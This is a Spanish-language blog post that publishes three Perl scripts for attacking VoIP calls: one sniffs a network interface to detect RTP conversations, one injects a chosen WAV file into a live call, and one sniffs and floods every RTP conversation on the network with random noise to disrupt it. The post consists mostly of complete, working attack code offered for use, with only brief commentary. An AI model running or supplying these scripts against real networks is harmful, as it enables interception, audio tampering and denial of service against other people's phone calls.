Inyectando tráfico RTP en una conversación VoIP

Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme)  y bueno, esta vez toca hablar sobre VoIP.

No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.

Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.

En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.

Comencemos …

rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz
 
use strict;
use Net::Pcap;
use Getopt::Long;
 
my @src;
my @dst;
 
# Do no buffering - flushing output directly
$|=1;
#declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;
 
# Declarations of global variables
my $g_pcap_err = '';
my $interface='';
my $g_cap_descrip;
 
# Trapping Signal "INT" like ctrl+c for cleanup first.
$SIG{INT} = \&f_probe_ctrl_c;
 
sub init() {
   if ($^O =~ /Win/) {system("cls");}else{system("clear");}
 
   # check params
   my $result = GetOptions ("i=s" => \$interface);
 
   help() if ($interface eq "");
 
   f_probe_pcapinit;
}
 
sub f_probe_pcapinit{
   if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err))
   {
      # Initiate endless packet gathering.
      Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
   }
   else
   {
      print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n";
      exit;
   }
};
 
sub f_probe_read80211b_func {
   my($data, $header, $packet) = @_;
   $data = unpack ('H*',$packet);
 
   if (isrtp($data) && proto($data) eq "17") {
      my $new = 1;
      my $codec = codec($data);
 
      my $ipsrc = ipsrc($data);
      my $ipdst = ipdst($data);
      my $portsrc = portsrc($data);
      my $portdst = portdst($data);
 
      for (my $i = 0; $i <= $#src; $i++) {
         $new = 0 if (($src[$i] eq $ipsrc.":".$portsrc) && ($dst[$i] eq $ipdst.":".$portdst));
         $new = 0 if (($src[$i] eq $ipdst.":".$portdst) && ($dst[$i] eq $ipsrc.":".$portsrc));
      }
 
      if ($new eq 1) {
         print "Protocol: UDP\n";
         print "Codec   : GSM\n" if ($codec eq "3");
         print "Codec   : G.711 (u-law)\n" if ($codec eq "0");
         print "Codec   : G.711 (a-law)\n" if ($codec eq "201" || $codec eq "136");
         print "Codec   : Speex\n" if ($codec eq "225");
         print "Codec   : $codec (desconocido)\n" if ($codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225");
         print "IP 1    : $ipsrc:$portsrc\n";
         print "IP 2    : $ipdst:$portdst\n";
 
         push @src, $ipsrc.":".$portsrc;
         push @dst, $ipdst.":".$portdst;
      }
   }
};
 
sub ipsrc {
   my $data = shift;
   $data = substr($data, 52, 8);
   my $v1 = hex(substr($data, 0 , 2));
   my $v2 = hex(substr($data, 2 , 2));
   my $v3 = hex(substr($data, 4 , 2));
   my $v4 = hex(substr($data, 6 , 2));
 
   return $v1.".".$v2.".".$v3.".".$v4;
};
 
sub ipdst {
   my $data = shift;
   $data = substr($data, 60, 8);
   my $v1 = hex(substr($data, 0 , 2));
   my $v2 = hex(substr($data, 2 , 2));
   my $v3 = hex(substr($data, 4 , 2));
   my $v4 = hex(substr($data, 6 , 2));
 
   return $v1.".".$v2.".".$v3.".".$v4;
};
 
sub portsrc {
   my $data = shift;
   $data = substr($data, 68, 4);
 
   return hex($data);
};
 
sub portdst {
   my $data = shift;
   $data = substr($data, 72, 4);
 
   return hex($data);
};
 
sub proto {
   my $data = shift;
   $data = substr($data, 46, 2);
 
   return hex($data);
};
 
sub isrtp {
   my $data = shift;
   $data = substr($data, 84, 2);
 
   return 1 if ($data eq "80");
   return 0;
};
 
sub codec {
   my $data = shift;
   $data = substr($data, 86, 2);
 
   return hex($data);
};
 
sub f_probe_ctrl_c {
   # Checks if there is a open pcap handle and closes it first.
   if ($g_cap_descrip)
   {
      Net::Pcap::close ($g_cap_descrip);
      print "\nClosed the pcap allready, the program exits now.\n";
   }
};
 
sub help {
   print qq{
Usage:  $0 -i <interface>
 
};
 
   exit 1;
}
 
init();

rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):

#!/usr/bin/perl
 
use Net::RTP;
use Time::HiRes qw/ usleep /;
use strict;
 
my $DEFAULT_PORT = 5004;   # Default RTP port
my $DEFAULT_TTL = 2;    # Default Time-to-live
my $PAYLOAD_TYPE = 0;      # u-law
my $PAYLOAD_SIZE = 160;    # 160 samples per packet
 
# Get the command line parameters
my ($filename, $address, $port, $ttl ) = @ARGV;
usage() unless (defined $filename);
usage() unless (defined $address);
$port=$DEFAULT_PORT unless (defined $port);
$ttl=$DEFAULT_TTL unless (defined $ttl);
 
print "Input Filename: $filename\n";
print "Remote Address: $address\n";
print "Remote Port: $port\n";
print "Multicast TTL: $ttl\n";
print "Payload type: $PAYLOAD_TYPE\n";
print "Payload size: $PAYLOAD_SIZE bytes\n";
 
# Create RTP socket
my $rtp = new Net::RTP(
      PeerPort=>$port,
      PeerAddr=>$address,
) || die "Failed to create RTP socket: $!";
 
# Set the TTL
if ($rtp->superclass() =~ /Multicast/) {
   $rtp->mcast_ttl( $ttl );
}
 
# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet->payload_type( $PAYLOAD_TYPE );
 
while(1) {
# Open the input file (via sox)
open(PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |")
or die "Failed to open input file: $!";
 
my $data;
 
while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) {
   # Set payload, and increment sequence number and timestamp
   $packet->payload($data);
   $packet->seq_num_increment();
   $packet->timestamp_increment( $PAYLOAD_SIZE );
 
   my $sent = $rtp->send( $packet );
   #print "Sent $sent bytes.\n";
 
   # This isn't a very good way of timing it
   # but it kinda works
   usleep( 1000000 * $PAYLOAD_SIZE / 8000 );
}
 
close( PCMU );
}
 
sub usage {
   print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n";
   exit -1;
}

Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# and
 
use strict;
use Net::Pcap;
use threads;
use threads::shared;
use Net::RTP;
use Time::HiRes qw/ usleep /;
use Getopt::Long;
 
my @src;
my @dst;
my $PAYLOAD_SIZE = 160;
my $ttl = 2;
my $maxthreads = 300;
my $threads : shared = 0;
my $interface = '';
my $v = 0;
my $g_pcap_err = '';
my $g_cap_descrip;
 
sub init() {
   if ($^O =~ /Win/) {system("cls");}else{system("clear");}
 
   # check params
   my $result = GetOptions ("i=s" => \$interface,
                            "v+" => \$v);
 
   help() if ($interface eq "");
 
   if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) {
      Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
   }
   else {
      print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err.";
      print "\nAre you root?\n";
      exit;
   }
}
 
sub f_probe_read80211b_func {
   my($data, $header, $packet) = @_;
   $data = unpack ('H*',$packet);
 
   if (isrtp($data) && proto($data) eq "17") {
      my $codec = codec($data);
      my $ipsrc = ipsrc($data);
      my $ipdst = ipdst($data);
      my $portsrc = portsrc($data);
      my $portdst = portdst($data);
 
      if ($threads <= $maxthreads) {
         my $thr = threads->new(\&flood, $ipsrc, $portsrc, $codec);
         $thr->detach();
         $thr = threads->new(\&flood, $ipdst, $portdst, $codec);
         $thr->detach();
      }
   }
};
 
sub flood {
   my $address = shift;
   my $port = shift;
   my $payload = shift;
 
   {lock($threads);$threads++;}
 
   if ($v eq "1") {
      print "Flooding host: $address \tPort: $port/UDP \tCodec: ";
      print "GSM            \n" if ($payload eq "3");
      print "G.711          \n" if ($payload eq "0");
   }
 
   # Create RTP socket
   my $rtp = new Net::RTP(
         PeerPort=>$port,
         PeerAddr=>$address,
   ) || die "Failed to create RTP socket: $!";
 
   # Set the TTL
   if ($rtp->superclass() =~ /Multicast/) {
      $rtp->mcast_ttl( $ttl );
   }
 
   # Create RTP packet
   my $packet = new Net::RTP::Packet();
   $packet->payload_type( $payload );
 
   for (my $i = 0; $i < 100; $i++) {
      my $data;
 
      for (my $i = 0; $i < $PAYLOAD_SIZE; $i++) {
         my $rnd = rand(255);
         $data .= hex($rnd);
      }
 
      $packet->payload($data);
      $packet->seq_num_increment();
      $packet->timestamp_increment( $PAYLOAD_SIZE );
 
      $rtp->send( $packet );
 
      close( PCMU );
   }
 
   {lock($threads);$threads--;}
}
 
sub ipsrc {
   my $data = shift;
   $data = substr($data, 52, 8);
   my $v1 = hex(substr($data, 0 , 2));
   my $v2 = hex(substr($data, 2 , 2));
   my $v3 = hex(substr($data, 4 , 2));
   my $v4 = hex(substr($data, 6 , 2));
 
   return $v1.".".$v2.".".$v3.".".$v4;
};
 
sub ipdst {
   my $data = shift;
   $data = substr($data, 60, 8);
   my $v1 = hex(substr($data, 0 , 2));
   my $v2 = hex(substr($data, 2 , 2));
   my $v3 = hex(substr($data, 4 , 2));
   my $v4 = hex(substr($data, 6 , 2));
 
   return $v1.".".$v2.".".$v3.".".$v4;
};
 
sub portsrc {
   my $data = shift;
   $data = substr($data, 68, 4);
 
   return hex($data);
};
 
sub portdst {
   my $data = shift;
   $data = substr($data, 72, 4);
 
   return hex($data);
};
 
sub proto {
   my $data = shift;
   $data = substr($data, 46, 2);
 
   return hex($data);
};
 
sub isrtp {
   my $data = shift;
   $data = substr($data, 84, 2);
 
   return 1 if ($data eq "80");
   return 0;
};
 
sub codec {
   my $data = shift;
   $data = substr($data, 86, 2);
 
   return hex($data);
};
 
sub help {
   print qq{
Usage:  $0 -i <interface> [options]
 
    == Options ==
      -v               = Verbose mode
 
    == Examples ==
         \$$0 -i eth0
         \$$0 -i wlan0 -v
 
};
 
   exit 1;
}
 
init();

El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.

Saludos

Deja un comentario